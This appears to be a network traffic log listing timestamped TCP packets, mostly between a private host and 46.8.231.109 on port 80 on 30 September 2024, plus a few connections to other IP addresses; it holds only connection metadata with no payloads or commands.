Sep 30, 2024 13:59:50.801734924 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.801743031 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.801773071 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.801803112 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.801886082 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.801976919 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.802007914 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.802007914 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.802086115 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.802155018 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.802165031 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.802182913 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.802198887 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.802212954 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.802223921 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.802251101 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.802298069 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.802308083 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.802318096 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.802331924 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.802335024 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.802350998 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.802350998 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.802356005 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.802373886 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.802377939 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.802387953 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.802402973 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.802406073 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.802413940 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.802424908 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.802442074 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.802448988 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.802459002 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.802459002 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.802463055 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.802476883 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.802481890 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.802495003 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.802496910 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.802509069 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.802515030 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.802524090 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.802526951 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.802540064 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.802552938 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.802563906 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.802572966 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.802592039 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.802601099 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.802604914 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.802609921 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.802625895 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.802639008 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.802666903 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.802675962 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.802685976 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.802700996 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.802705050 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.802716970 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.802722931 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.802731037 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.802731037 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.802732944 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.802757025 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.802905083 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.803419113 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.803467989 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.803482056 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.803492069 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.803520918 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.803528070 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.803538084 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.803546906 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.803559065 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.803564072 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.803579092 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.803601980 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.806629896 CEST	49732	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.811448097 CEST	80	49732	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.813858032 CEST	49732	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.813937902 CEST	49732	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.818656921 CEST	80	49732	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:51.426055908 CEST	80	49732	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:51.426094055 CEST	80	49732	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:51.426112890 CEST	80	49732	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:51.426136017 CEST	80	49732	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:51.426150084 CEST	80	49732	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:51.426148891 CEST	49732	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:51.426166058 CEST	80	49732	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:51.426182985 CEST	80	49732	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:51.426183939 CEST	49732	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:51.426194906 CEST	80	49732	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:51.426204920 CEST	80	49732	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:51.426207066 CEST	49732	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:51.426218987 CEST	80	49732	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:51.426224947 CEST	49732	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:51.426249981 CEST	49732	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:51.426273108 CEST	49732	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:51.431193113 CEST	80	49732	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:51.431220055 CEST	80	49732	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:51.431231976 CEST	80	49732	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:51.431252003 CEST	49732	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:51.431277990 CEST	49732	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:51.515510082 CEST	80	49732	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:51.515578032 CEST	49732	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:51.515721083 CEST	80	49732	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:51.515759945 CEST	49732	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:51.516016006 CEST	80	49732	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:51.516030073 CEST	80	49732	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:51.516058922 CEST	49732	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:51.516071081 CEST	80	49732	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:51.516077042 CEST	49732	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:51.516084909 CEST	80	49732	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:51.516098976 CEST	80	49732	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:51.516104937 CEST	49732	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:51.516110897 CEST	80	49732	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:51.516122103 CEST	80	49732	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:51.516127110 CEST	49732	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:51.516139984 CEST	49732	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:51.516165972 CEST	49732	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:51.516180992 CEST	80	49732	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:51.516191959 CEST	80	49732	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:51.516222954 CEST	49732	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:51.516241074 CEST	80	49732	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:51.516282082 CEST	49732	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:51.516688108 CEST	80	49732	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:51.516699076 CEST	80	49732	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:51.516709089 CEST	80	49732	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:51.516730070 CEST	49732	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:51.516743898 CEST	80	49732	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:51.516755104 CEST	80	49732	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:51.516757011 CEST	49732	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:51.516765118 CEST	80	49732	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:51.516789913 CEST	49732	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:51.516825914 CEST	49732	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:51.517648935 CEST	80	49732	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:51.517659903 CEST	80	49732	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:51.517671108 CEST	80	49732	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:51.517680883 CEST	80	49732	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:51.517713070 CEST	49732	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:51.517739058 CEST	49732	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:51.517751932 CEST	80	49732	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:51.517795086 CEST	49732	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:51.522123098 CEST	80	49732	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:51.522173882 CEST	49732	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:51.603616953 CEST	80	49732	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:51.603632927 CEST	80	49732	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:51.603645086 CEST	80	49732	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:51.603656054 CEST	80	49732	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:51.603667021 CEST	80	49732	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:51.603682041 CEST	49732	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:51.603713989 CEST	49732	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:51.603836060 CEST	80	49732	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:51.603851080 CEST	80	49732	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:51.603863955 CEST	80	49732	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:51.603873968 CEST	80	49732	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:51.603889942 CEST	49732	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:51.603893995 CEST	80	49732	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:51.603914976 CEST	49732	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:51.603928089 CEST	49732	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:51.604208946 CEST	80	49732	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:51.604226112 CEST	80	49732	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:51.604238033 CEST	80	49732	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:51.604250908 CEST	49732	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:51.604259968 CEST	49732	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:51.604276896 CEST	49732	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:51.604443073 CEST	80	49732	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:51.604455948 CEST	80	49732	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:51.604470015 CEST	80	49732	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:51.604480028 CEST	49732	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:51.604509115 CEST	49732	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:51.604827881 CEST	80	49732	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:51.604860067 CEST	80	49732	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:51.604871035 CEST	80	49732	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:51.604880095 CEST	49732	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:51.604902029 CEST	49732	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:51.604928017 CEST	49732	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:51.604928970 CEST	80	49732	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:51.604940891 CEST	80	49732	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:51.604954004 CEST	80	49732	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:51.604964018 CEST	80	49732	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:51.604979038 CEST	49732	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:51.605001926 CEST	80	49732	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:51.605012894 CEST	80	49732	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:51.605014086 CEST	49732	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:51.605035067 CEST	49732	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:51.605058908 CEST	49732	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:51.605763912 CEST	80	49732	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:51.605806112 CEST	49732	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:51.605916023 CEST	80	49732	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:51.605927944 CEST	80	49732	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:51.605937958 CEST	80	49732	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:51.605947971 CEST	80	49732	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:51.605954885 CEST	49732	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:51.605968952 CEST	80	49732	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:51.605979919 CEST	80	49732	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:51.605982065 CEST	49732	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:51.605990887 CEST	80	49732	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:51.606002092 CEST	80	49732	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:51.606009960 CEST	49732	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:51.606029987 CEST	49732	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:51.606050014 CEST	49732	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:51.692688942 CEST	80	49732	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:51.692723036 CEST	80	49732	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:51.692734003 CEST	80	49732	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:51.692744970 CEST	80	49732	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:51.692756891 CEST	80	49732	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:51.692763090 CEST	49732	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:51.692768097 CEST	80	49732	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:51.692806959 CEST	49732	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:51.692821026 CEST	49732	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:51.692828894 CEST	80	49732	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:51.692848921 CEST	80	49732	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:51.692863941 CEST	80	49732	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:51.692874908 CEST	80	49732	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:51.692884922 CEST	49732	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:51.692898989 CEST	80	49732	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:51.692902088 CEST	49732	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:51.692909956 CEST	80	49732	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:51.692919970 CEST	80	49732	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:51.692925930 CEST	49732	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:51.692931890 CEST	80	49732	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:51.692943096 CEST	80	49732	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:51.692945004 CEST	49732	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:51.692955971 CEST	80	49732	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:51.692967892 CEST	80	49732	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:51.692972898 CEST	49732	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:51.692985058 CEST	49732	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:51.692987919 CEST	80	49732	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:51.692998886 CEST	80	49732	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:51.693001032 CEST	49732	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:51.693011045 CEST	80	49732	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:51.693025112 CEST	80	49732	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:51.693030119 CEST	49732	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:51.693042994 CEST	49732	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:51.693069935 CEST	49732	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:51.693213940 CEST	80	49732	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:51.693260908 CEST	49732	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:51.693289995 CEST	80	49732	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:51.693322897 CEST	80	49732	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:51.693336010 CEST	49732	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:51.693339109 CEST	80	49732	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:51.693351984 CEST	80	49732	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:51.693361998 CEST	80	49732	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:51.693361998 CEST	49732	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:51.693376064 CEST	49732	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:51.693380117 CEST	80	49732	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:51.693392038 CEST	80	49732	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:51.693404913 CEST	49732	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:51.693440914 CEST	49732	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:51.693461895 CEST	80	49732	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:51.693474054 CEST	80	49732	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:51.693487883 CEST	80	49732	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:51.693497896 CEST	49732	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:51.693507910 CEST	80	49732	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:51.693522930 CEST	49732	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:51.693548918 CEST	49732	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:51.694143057 CEST	80	49732	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:51.694192886 CEST	80	49732	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:51.694207907 CEST	80	49732	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:51.694214106 CEST	49732	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:51.694227934 CEST	49732	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:51.694242954 CEST	80	49732	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:51.694248915 CEST	49732	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:51.694255114 CEST	80	49732	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:51.694266081 CEST	80	49732	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:51.694288015 CEST	49732	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:51.694319963 CEST	80	49732	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:51.694324970 CEST	49732	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:51.694330931 CEST	80	49732	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:51.694350004 CEST	80	49732	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:51.694355011 CEST	49732	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:51.694360971 CEST	80	49732	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:51.694365025 CEST	49732	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:51.694382906 CEST	49732	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:51.694402933 CEST	49732	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:51.694494963 CEST	80	49732	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:51.694506884 CEST	80	49732	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:51.694538116 CEST	49732	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:51.695075035 CEST	80	49732	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:51.695112944 CEST	49732	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:51.695128918 CEST	80	49732	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:51.695146084 CEST	80	49732	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:51.695163965 CEST	49732	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:51.695184946 CEST	49732	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:51.695185900 CEST	80	49732	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:51.695199013 CEST	80	49732	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:51.695209026 CEST	80	49732	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:51.695219994 CEST	49732	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:51.695225000 CEST	80	49732	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:51.695238113 CEST	49732	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:51.695262909 CEST	49732	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:51.695262909 CEST	80	49732	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:51.695274115 CEST	80	49732	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:51.695283890 CEST	80	49732	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:51.695293903 CEST	80	49732	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:51.695300102 CEST	49732	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:51.695306063 CEST	80	49732	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:51.695318937 CEST	49732	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:51.695337057 CEST	49732	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:51.695966005 CEST	80	49732	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:51.695995092 CEST	80	49732	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:51.696007967 CEST	80	49732	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:51.696012974 CEST	49732	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:51.696033955 CEST	49732	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:51.696063042 CEST	49732	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:51.696094036 CEST	80	49732	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:51.696110010 CEST	80	49732	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:51.696120977 CEST	80	49732	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:51.696130991 CEST	80	49732	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:51.696137905 CEST	49732	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:51.696141958 CEST	80	49732	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:51.696158886 CEST	80	49732	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:51.696167946 CEST	49732	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:51.696170092 CEST	80	49732	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:51.696180105 CEST	80	49732	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:51.696191072 CEST	80	49732	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:51.696192026 CEST	49732	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:51.696218967 CEST	49732	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:51.696233988 CEST	49732	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:51.771339893 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:51.775511980 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:51.775662899 CEST	49728	80	192.168.2.6	45.132.206.251
Sep 30, 2024 13:59:51.781337023 CEST	80	49732	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:51.781363964 CEST	80	49732	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:51.781374931 CEST	80	49732	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:51.781393051 CEST	49732	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:51.781414032 CEST	49732	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:51.781414032 CEST	80	49732	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:51.781421900 CEST	49732	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:51.781424999 CEST	80	49732	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:51.781435966 CEST	80	49732	46.8.231.109	192.168.2.6
